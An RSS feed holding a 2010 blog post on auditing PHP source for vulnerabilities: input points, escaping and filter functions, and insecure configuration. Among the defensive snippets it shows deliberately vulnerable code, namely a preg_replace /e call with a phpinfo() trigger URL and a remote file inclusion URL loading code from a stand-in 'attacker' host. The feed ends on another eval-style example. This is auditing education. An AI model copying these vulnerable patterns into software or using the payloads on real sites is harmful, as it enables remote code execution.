<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Researches &#187; daphne</title>
	<atom:link href="http://www.abysssec.com/blog/author/daphne/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Fri, 14 May 2010 19:22:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Additional notes in PHP source code auditing</title>
		<link>http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/</link>
		<comments>http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 19:50:33 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[command execute]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[file inclusion]]></category>
		<category><![CDATA[php auditing]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=456</guid>
		<description><![CDATA[Hi . Today , I decide talk about some of my experience about methods of vulnerability discovery techniques through source code auditing . if you remember , around 1 years ago , i wrote This article : 20 ways to php Source code fuzzing (Auditing) some time ago &#8220;Stefan Esser&#8221; made The Poster on the [...]]]></description>
			<content:encoded><![CDATA[<p>Hi .<br />
Today , I decide talk about some of my experience about  methods of vulnerability discovery techniques through source code auditing .</p>
<p>if you remember , around 1 years ago  , i wrote This  article :</p>
<p><span style="color: #ff0000;">20 ways to php Source code fuzzing (Auditing)</span></p>
<p>some time ago &#8220;Stefan Esser&#8221;  made The Poster on the PHP Security . I&#8217;m going to have a brief description about most them with my experience in PHP Source code Auditing  :</p>
<p><strong>Most PHP Vulnerability </strong>:</p>
<blockquote><p>1-Cross Site Scripting (XSS)<br />
2-Cross Site Request Forgery (CSRF)<br />
3-SQL Injection<br />
4-Insecure Session Handling<br />
5-Session Fixation<br />
6-Information Disclosure<br />
7-Header Injection<br />
8-Insecure Configuration<br />
9-Weak randomness</p></blockquote>
<p>(for more information about how to find this issue in your source code , read my  article :<br />
<a href="http://www.abysssec.com/blog/2009/03/php_fuzz_audit/">http://www.abysssec.com/blog/2009/03/php_fuzz_audit/</a><br />
And another describe [ Finding vulnerabilities in PHP scripts FULL ( with examples )]:<br />
<a href="http://www.milw0rm.com/papers/381">http://www.milw0rm.com/papers/381</a></p>
<p><strong> These problem due to inaccuracy in (</strong><strong>(In summary)</strong><strong>:</strong></p>
<p><span style="text-decoration: underline;"><br />
I &#8211; Secure Input Handling</span> :<br />
accept input from users without carefully to what is injected.</p>
<p><span style="text-decoration: underline;">II &#8211; Sanitising :</span><br />
Sanitizing functions can be used to &#8220;repair&#8221; user input, according to the application‘s restrictions (e.g. specific datatypes, maximum length) instead of rejecting potentially dangerous input entirely. In general, the use of sanitizing functions is not encouraged, because certain kinds and combinations of sanitizing filters may have security implications of their own. In addition, the automatic correction of typos could render the input syntactically or semantically incorrect.<br />
for example :</p>
<ul>
<li> is_numeric()Checks a variable for numeric content.</li>
<li> is_array()Checks if a variable is an array.</li>
<li> strlen()Returns a string‘s length.</li>
<li> strip_tags()Removes HTML and PHP tags.</li>
</ul>
<p><span style="text-decoration: underline;">III-  Escaping : </span><br />
There are several different kinds of escaping:<br />
• The backslash prefix “\” defines a meta character within strings. For Example: \t is a tab<br />
space, \n is a newline character, &#8230; This can be of particular interest for functions where the newline character has a special purpose, e.g. header(). Within regular expressions the backslash is used to escape special characters, such as \. or \*, which is relevant for all functions handling regular expressions.</p>
<p>• HTML encoding translates characters normally interpreted by the web browser as HTML into their encoded equivalents &#8211; e.g. &lt; is &lt; or &lt; or &lt; and &gt; is &gt; or &gt; or &gt;. HTML encoding should be used for output handling, where user input should be reflected in HTML without injecting code. (See also: htmlentities())<br />
• URL encoding makes sure, that every character<br />
not allowed within URLs, according to RFC 1738, is properly encoded. E.g. space converts to + or %20 and &lt; is %3C. This escaping is relevant for functions handling URLs, such as urlencode() and urldecode().</p>
<p><span style="text-decoration: underline;">IV &#8211; Configuration :</span></p>
<p>Programming errors, including logic program.</p>
<p>well , we know there are 4 points that can help us in the process :</p>
<h3><strong>1 &#8211; Our PHP inputs Points :</strong></h3>
<p>[we need to find them and all functions and variables , that these have been assigned to them .]</p>
<p>input Point in PHP.Programing are :</p>
<blockquote><p>$_SERVER<br />
$_GET<br />
$_POST<br />
$_COOKIE<br />
$_REQUEST<br />
$_FILES<br />
$_ENV<br />
$_HTTP_COOKIE_VARS<br />
$_HTTP_ENV_VARS<br />
$_HTTP_GET_VARS<br />
$_HTTP_POST_FILES<br />
$_HTTP_POST_VARS<br />
$_HTTP_SERVER_VARS</p></blockquote>
<h3><strong>2-  Limiting our understanding :</strong></h3>
<p>Very good , the second point : our problem begine here . we can&#8217;t find Problem in source code like the past . Because Programmers use the limitation function . for Example , wherever you see the fllowing functions that contol input variable , possibly as many attacks are carried out . so you have two solutions : find problem in logic of code or find PHP bug  in PHP CORE !</p>
<p><strong>A) Escaping and Encoding Functions :</strong><br />
<strong>A-1 (XSS dies = 90% The direct transition is a dream) :</strong></p>
<p>• htmlspecialchars() , Escapes the characters &amp; &lt; and &gt; as HTML entities to protect the application against XSS. The correct character set and the mode : ENT_QUOTES should be used.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Hello &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• htmlentities() , Applies HTML entity encoding to all applicable characters to protect the application against XSS. The correct character set and the mode ENT_QUOTES should be used.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Hello &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>( htmlentities() bypass in special case [utf7] : <a href="http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html">http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html</a> )</p>
<p>• urlencode() , Applies URL encoding as seen in the query part of a URL.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;http://www.example.com/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;index.php?param=&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pa'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>A-2 : (SQL injection dies  = 90% The direct transition is a dream) :</strong><br />
• addslashes() , Applies a simple backslash escaping. The input string is assumed to be single-byte encoded. addslashes() should not be used to protect against SQL injections, since most database systems operate with multi-byte encoded strings, such as UTF-8.<br />
• addcslashes() , Applies backslash escaping. This can be used to prepare strings for use in a JavaScript string context. However, protection against HTML tag injection is not possible with this function.<br />
(bypass addslashes() in special case : <a href="http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html">http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html</a>)</p>
<p>• mysql_real_escape_string(), Escapes a string for use with mysql_query(). The character set of the current MySQL connection is taken into account, so it is safe to operate on multi-byte encoded strings.<br />
Applications implementing string escaping as protection against SQL injection attacks should use this function.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM user WHERE&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; login='&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>A-3 : (XSS , SQl Inject  = 100% The direct transition is a dream) :</strong><br />
• preg_quote() , Should be used to escape user input to be inserted into regular expressions. This way the regular expression is safeguarded from semantic manipulations.<br />
Fix code :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$repl</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">preg_quote</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'part'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">'-[0-9]{1,4}/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>issue Code [Command Execute] :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$h</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'h'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/test/e&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$h</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;jutst test&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>It works like this: <em>http://site.com/test.php?h=phpinfo()<br />
</em><br />
• escapeshellarg() , Escapes a single argument of a shell command. In order to prevent shell code injection, single quotes in user input is being escaped and the whole string enclosed in single quotes.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'resize /tmp/image.jpg'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">.</span> <span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'h'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• escapeshellcmd() , Escapes all meta characters of a shell command in a way that no additional shell commands can be injected. If necessary, arguments should be enclosed in quotes.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">escapeshellcmd</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'resize /tmp/image.jpg &quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; &quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'h'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong><br />
B- CType Extension : </strong><br />
By default, PHP comes with activated CType extension. Each of the following functions checks if all characters of a string fall under the described group of characters:</p>
<p>• ctype_alnum()alphanumeric characters &#8211; A-Z, a-z, 0-9<br />
• ctype_alpha()alphabetic characters &#8211; A-Z, a-z<br />
• ctype_cntrl() control characters &#8211; e.g. tab, line feed<br />
• ctype_digit()numerical characters &#8211; 0-9<br />
• ctype_graph()characters creating visible output e.g. no whitespace<br />
• ctype_lower()lowercase letters &#8211; a-z<br />
• ctype_print()printable characters<br />
• ctype_punct()punctuation characters &#8211; printable characters, but not digits, letters or whitespace, e.g. .,!?:;*&amp;$<br />
• ctype_space()whitespace characters &#8211; e.g. newline, tab<br />
• ctype_upper()uppercase characters &#8211; A-Z<br />
• ctype_xdigit() hexadecimal digits &#8211; 0-9, a-f, A-F</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ctype_print</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'var'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;User input contains &quot;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;non-printable characters&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>C &#8211; Filter Extension &#8211; ext/filter</strong><br />
Starting with PHP 5.2.0 the filter extension has provided a simple API for input validation and input filtering.<br />
• filter_input()Retrieves the value of any GET, POST, COOKIE, ENV or SERVER variable and applies the specified filter.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #990000;">filter_input</span><span style="color: #009900;">&#40;</span>INPUT_GET<span style="color: #339933;">,</span> <span style="color: #0000ff;">'url'</span><span style="color: #339933;">,</span> FILTER_URL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• filter_var()Filters a variable with the specified filter.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #990000;">filter_var</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$var</span><span style="color: #339933;">,</span> FILTER_URL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>List of Filters :<br />
Validation Filters<br />
• FILTER_VALIDATE_INTChecks whether the input is an integer numeric value.<br />
• FILTER_VALIDATE_BOOLEANChecks whether the input is a boolean value.<br />
• FILTER_VALIDATE_FLOATChecks whether the input is a floating point number.<br />
• FILTER_VALIDATE_REGEXPChecks the input against a regular expression.<br />
• FILTER_VALIDATE_URLChecks whether the input is a URL.<br />
• FILTER_VALIDATE_EMAILChecks whether the input is a valid email address.<br />
• FILTER_VALIDATE_IPChecks whether the input is a valid IPv4 or IPv6.</p>
<p>Sanitising Filters<br />
• FILTER_SANITIZE_STRING / FILTER_SANITIZE_STRIPPEDStrips and HTML-encodes characters according to flags and applies strip_tags().<br />
• FILTER_SANITIZE_ENCODEDApplies URL encoding.<br />
• FILTER_SANITIZE_SPECIAL_CHARSEncodes &#8216; &#8221; &lt; &gt; &amp; \0 and optionally all characters &gt; chr(127) into numeric HTML entities.<br />
• FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.<br />
• FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.<br />
• FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.<br />
• FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.<br />
• FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().</p>
<p>Other Filters<br />
• FILTER_UNSAFE_RAWIs a dummy filter.<br />
• FILTER_CALLBACKCalls a userspace callback function defining the filter.<br />
<strong><br />
D) HTTP Header Output</strong><br />
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.<br />
Dynamic content within parameters to Location<br />
or Set-Cookie headers should be escaped by urlencode().</p>
<p>For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpbrk</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;;/<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'invalid characters'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-Type: text/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;; charset=utf-8;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.<br />
<strong><br />
E)Secure File Handling:</strong><br />
• Detect and replace NULL bytes:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• Prevent remote file inclusion (path prefix) and directory traversal (basename):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;./&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;.php&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• Include only whitelisted files:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'index'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'logout'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">include</span> <span style="color: #0000ff;">'./'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'action not permitted'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>3) Configuration point :<br />
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .<br />
we sea these Fllowing Configuration in code or  PHP.ini Setting :<br />
<strong>[a]- when Server don&#8217;t Disabling Remote URLs for File Handling Functions </strong><br />
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(&#8216;http://www.example.com/&#8217;, &#8216;r&#8217;)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.<br />
<strong><br />
[b] Register Globals is &#8216;ON&#8217; :</strong><br />
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it&#8217;s disabled by default from PHP 4.2.0 and on, because it&#8217;s dangerous on so many scales.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;test.php&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$PHP_SELF</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">include</span> <span style="color: #000088;">$server_inc</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/step_one_tables.php&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>demonstration :<br />
<a href="http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php ">http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php </a><br />
<strong><br />
[c] Server Don&#8217;t Limit Access to Certain File Name Patterns :</strong><br />
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn&#8217;t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc</p>
<p>Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.</p>
<p>Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn&#8217;t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~<br />
<strong><br />
[d] Error Messages and Logging is ON :</strong><br />
By default, PHP prints error messages to the browser&#8217;s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.<br />
.<br />
And many other attacks, usually design by the programmer !</p>
<p><strong><br />
 Real Word Example :<br />
</strong></p>
<p>Exp 1 : PHP Code Execution:<br />
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">// Replace any usernames</span>
<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#\[:nom:([^\]]*)\]#e&quot;</span><span style="color: #339933;">,</span>
	            <span style="color: #0000ff;">&quot;username(0, trim(<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\\</span>1<span style="color: #000099; font-weight: bold;">\&quot;</span>))&quot;</span><span style="color: #339933;">,</span>
	             <span style="color: #000088;">$ret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

